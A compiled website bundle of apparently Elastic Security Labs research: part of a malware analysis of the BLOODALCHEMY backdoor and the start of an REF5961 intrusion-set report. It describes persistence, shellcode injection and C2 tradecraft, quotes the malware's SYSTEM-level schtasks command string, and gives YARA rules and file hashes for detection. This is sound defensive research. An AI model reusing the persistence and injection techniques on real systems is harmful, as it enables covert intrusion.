achieved via different methods depending on the configuration:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"As a service\"}),`\n`,(0,n.jsx)(e.li,{children:\"As a registry key\"}),`\n`,(0,n.jsx)(e.li,{children:\"As a scheduled task\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"Using \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-\",rel:\"nofollow\",children:\"COM\"}),\" interfaces\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"To identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"As a service named \",(0,n.jsx)(e.code,{children:\"Test\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image11.png\",alt:\"BLOODALCHEMY deleting previously installed service\",width:\"406\",height:\"51\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"As a registry key at \",(0,n.jsx)(e.code,{children:\"CurrentVersion\\\\Run\"})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image13.png\",alt:\"BLOODALCHEMY deleting \\u201CCurrentVersion\\\\Run\\u201D persistence registry key\",width:\"712\",height:\"75\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"As a scheduled task, running with SYSTEM privilege via \",(0,n.jsx)(e.code,{children:\"schtask.exe\"}),\":\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`b'schtasks.exe /CREATE /SC %s /TN \"%s\" /TR \"\\\\'%s\\\\'\" /RU \"NT AUTHORITY\\\\\\\\SYSTEM\" /Fb'\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Using the \",(0,n.jsx)(e.code,{children:\"TaskScheduler::ITaskService\"}),\" COM interface. The intent of this persistence mechanism is currently unknown.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image29.png\",alt:\"Instantiation of the ITaskService COM interface\",width:\"881\",height:\"77\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"running-modes\",children:\"Running modes\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware has different running modes depending on its configuration:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Within the main or separate process thread\"}),`\n`,(0,n.jsx)(e.li,{children:\"Create a Windows process and inject a shellcode into it\"}),`\n`,(0,n.jsx)(e.li,{children:\"As a service\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The malware can either work within the main process thread.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image5.png\",alt:\"Capability function called within the main function\",width:\"291\",height:\"57\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Or run in a separate thread.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image12.png\",alt:\"Capability function called in a new thread\",width:\"530\",height:\"59\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Or create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the \",(0,n.jsx)(e.a,{href:\"https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/\",rel:\"nofollow\",children:\"WriteProcessMemory+QueueUserAPC+ResumeThread\"}),\" method.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image3.png\",alt:\"Process injection running method\",width:\"561\",height:\"52\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image21.png\",alt:\"List of target binaries for process injection\",width:\"623\",height:\"73\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The shellcode is contained in the parameters we call \",(0,n.jsx)(e.code,{children:\"p_interesting_data\"}),\". This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image18.png\",alt:\"Entrypoint prototype\",width:\"280\",height:\"123\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image23.png\",alt:\"Provided shellcode copied in the remote process\",width:\"761\",height:\"261\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image20.png\",alt:\"Final part of the process injection procedure\",width:\"685\",height:\"76\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Or install and run itself as a service. In this scenario, the service name and description will be \",(0,n.jsx)(e.code,{children:\"Test\"}),\" and \",(0,n.jsx)(e.code,{children:\"Digital Imaging System\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image26.png\",alt:\"Name and description strings used to install the BLOODALCHEMY service\",width:\"495\",height:\"67\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Also when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to \\u201CSERVICE_RUNNING\\u201D then setting the status to \\u201CSERVICE_STOPPED\\u201D while in fact the malware is still running.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image30.png\",alt:\"BLOODALCHEMY\\u2019s service entry point masquerading service status\",width:\"876\",height:\"108\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"communication\",children:\"Communication\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware communicates using either the HTTP protocol, named pipes, or sockets.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"When using the HTTP protocol the malware requests the following URI \",(0,n.jsx)(e.code,{children:\"/Inform/logger/.\"})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image27.png\",alt:\"URI used to connect to C2\",width:\"646\",height:\"26\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key \",(0,n.jsx)(e.code,{children:\"SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image28.png\",alt:\"Host proxy information gathered from registry\",width:\"1002\",height:\"434\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"We did not uncover any C2 infrastructure with our sample, but the URL could look something like this: \",(0,n.jsx)(e.code,{children:\"https://malwa[.]re/Inform/logger\"})]}),`\n`,(0,n.jsx)(e.p,{children:\"When using a named pipe, the name is randomly generated using the current PID as seed.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image9.png\",alt:\"Random pipe name generation seeded with current PID\",width:\"556\",height:\"48\"})}),`\n`,(0,n.jsx)(e.p,{children:\"While waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image16.png\",alt:\"Retrieve parent PID\",width:\"352\",height:\"19\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image7.png\",alt:\"Flawed check for restricting pipe access to parent process\",width:\"1077\",height:\"293\"})}),`\n`,(0,n.jsx)(e.p,{children:\"From the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image17.png\",alt:\"Usage of the socket API in one of the implementations of the \\u201Ccommunication\\u201D interface\",width:\"223\",height:\"161\"})}),`\n`,(0,n.jsx)(e.p,{children:\"While we haven\\u2019t made any conclusions about their usage, we list all the protocols found in the encrypted strings.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"DNS://\"}),`\n`,(0,n.jsx)(e.li,{children:\"HTTP://\"}),`\n`,(0,n.jsx)(e.li,{children:\"HTTPS://\"}),`\n`,(0,n.jsx)(e.li,{children:\"MUX://\"}),`\n`,(0,n.jsx)(e.li,{children:\"UDP://\"}),`\n`,(0,n.jsx)(e.li,{children:\"SMB://\"}),`\n`,(0,n.jsx)(e.li,{children:\"SOCKS5://\"}),`\n`,(0,n.jsx)(e.li,{children:\"SOCKS4://\"}),`\n`,(0,n.jsx)(e.li,{children:\"TCP://\"}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"For all protocols the data can be encrypted, \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6\",rel:\"nofollow\",children:\"LZNT1 compressed\"}),\", and/or Base64-encoded.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"commands\",children:\"Commands\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware only contains a few commands with actual effects:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Write/overwrite the malware toolset\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"Launch its malware binary \",(0,n.jsx)(e.code,{children:\"Test.exe\"})]}),`\n`,(0,n.jsx)(e.li,{children:\"Uninstall and terminate\"}),`\n`,(0,n.jsx)(e.li,{children:\"Gather host information\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"There are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Either the malware binary (\",(0,n.jsx)(e.code,{children:\"Test.exe\"}),\")\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"the sideloaded DLL (\",(0,n.jsx)(e.code,{children:\"BrLogAPI.dll\"}),\")\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"or the main trusted binary (\",(0,n.jsx)(e.code,{children:\"BrDifxapi.exe\"}),\")\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image8.png\",alt:\"BLOODALCHEMY tool set overwrite commands\",width:\"744\",height:\"129\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"One command that launches the \",(0,n.jsx)(e.code,{children:\"Test.exe\"}),\" binary in the persistence folder.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image19.png\",alt:\"BLOODALCHEMY command to run the malware executable binary\",width:\"496\",height:\"30\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image14.png\",alt:\"Command to uninstall and terminate itself\",width:\"368\",height:\"44\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image2.png\",alt:\"Uninstall function\",width:\"723\",height:\"393\"})}),`\n`,(0,n.jsx)(e.p,{children:\"One host information gathering command: CPU, OS, display, network, etc.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image22.png\",alt:\"Information gathering command\",width:\"483\",height:\"45\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,n.jsx)(e.p,{children:\"BLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.\"}),`\n`,(0,n.jsx)(e.p,{children:\"While unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"bloodalchemy-and-mitre-attck\",children:\"BLOODALCHEMY and MITRE ATT\u0026CK\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic uses the \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,n.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"malware-prevention-capabilities\",children:\"Malware prevention capabilities\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar\",rel:\"nofollow\",children:\"BLOODALCHEMY\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-yara\",children:`BLOODALCHEMY\nrule Windows_Trojan_BloodAlchemy_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }\n $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }\n $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }\n\n condition:\n any of them\n}\n\nrule Windows_Trojan_BloodAlchemy_3 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_4 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }\n\n condition:\n all of them\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"All observables are also available for \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ref5961\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Observable\"}),(0,n.jsx)(e.th,{children:\"Type\"}),(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"Reference\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.code,{children:\"e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a\"})}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:(0,n.jsx)(e.code,{children:\"BrLogAPI.dll\"})}),(0,n.jsx)(e.td,{children:\"BLOODALCHEMY loader\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:(0,n.jsx)(e.code,{children:\"25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455\"})}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"NA\"}),(0,n.jsx)(e.td,{children:\"BLOODALCHEMY payload\"})]})]})]})})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,n.jsx)(e,Object.assign({},i,{children:(0,n.jsx)(d,i)})):d(i)}var A=v;return w(k);})();\n;return Component;"},"_id":"articles/disclosing-the-bloodalchemy-backdoor.mdx","_raw":{"sourceFilePath":"articles/disclosing-the-bloodalchemy-backdoor.mdx","sourceFileName":"disclosing-the-bloodalchemy-backdoor.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/disclosing-the-bloodalchemy-backdoor"},"type":"Article","imageUrl":"/assets/images/disclosing-the-bloodalchemy-backdoor/photo-edited-05@2x.jpg","readingTime":"15 min read","series":"","url":"/disclosing-the-bloodalchemy-backdoor","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Initial execution","href":"#initial-execution"},{"level":2,"title":"Code analysis","href":"#code-analysis"},{"level":3,"title":"Data Obfuscation","href":"#data-obfuscation"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":3,"title":"Running modes","href":"#running-modes"},{"level":3,"title":"Communication","href":"#communication"},{"level":3,"title":"Commands","href":"#commands"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"BLOODALCHEMY and MITRE ATT\u0026CK","href":"#bloodalchemy-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":2,"title":"Malware prevention capabilities","href":"#malware-prevention-capabilities"},{"level":2,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Introducing the REF5961 intrusion set","slug":"introducing-the-ref5961-intrusion-set","date":"2023-10-04","description":"The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.","image":"photo-edited-08@2x.jpg","tags":["security-research","malware-analysis","ref5961","ref2924","eagerbee","downtown","rudebird"],"body":{"raw":"\n## Preamble\n\n**Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.**\n\nElastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.\n\nIn this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.\n\nThe samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting [here](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry) and updated [here](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns)). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN). \n\nElastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.\n\n\n\n\nPart of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth [here](https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor).\n\n## Key takeaways\n\n* Elastic Security Labs is disclosing three new malware families:\n * EAGERBEE\n * RUDEBIRD\n * DOWNTOWN\n* Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns\n* The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities\n\n## EAGERBEE\n\nEAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.\n\nDuring our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as [LuckyMouse](https://malpedia.caad.fkie.fraunhofer.de/actor/apt27) (APT27, EmissaryPanda).\n\n### Code analysis\n\nEAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.\n\n\n\n\n**_Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing._**\n\nAfter resolving all the required Windows APIs, the malware creates a mutex with the string `mstoolFtip32W` to prevent multiple instances of the malware from running on the same machine.\n\n\n\n\nThe malware gathers key information about the compromised system:\n* The computer's name is obtained using the `GetComputerNameW` function\n* The malware retrieves the Windows version by utilizing the `GetVersionExW` function\n* A globally unique identifier (GUID) is generated through the `CoCreateGuid` function\n* The processor architecture information is acquired using the `GetNativeSystemInfo` function\n* The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`\n\n\n\n\nThe sample’s operational schedule is controlled by the string `0-5:00:23;6:00:23;`. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system: \n* active from Sunday(0) to Friday(5)\n* all hours between 00 and 23\n* Saturday(6) all hours between 00 and 23\n\nThis functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.\n\n\n\n\nThe malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named `c:\\users\\public\\iconcache.mui`. This file is decrypted using the first character as the decryption key.\n\nThis configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure `IP:PORT`, where the character `s` is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.\n\n\n\nThe configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.\n\nA configuration flag is embedded directly into the code 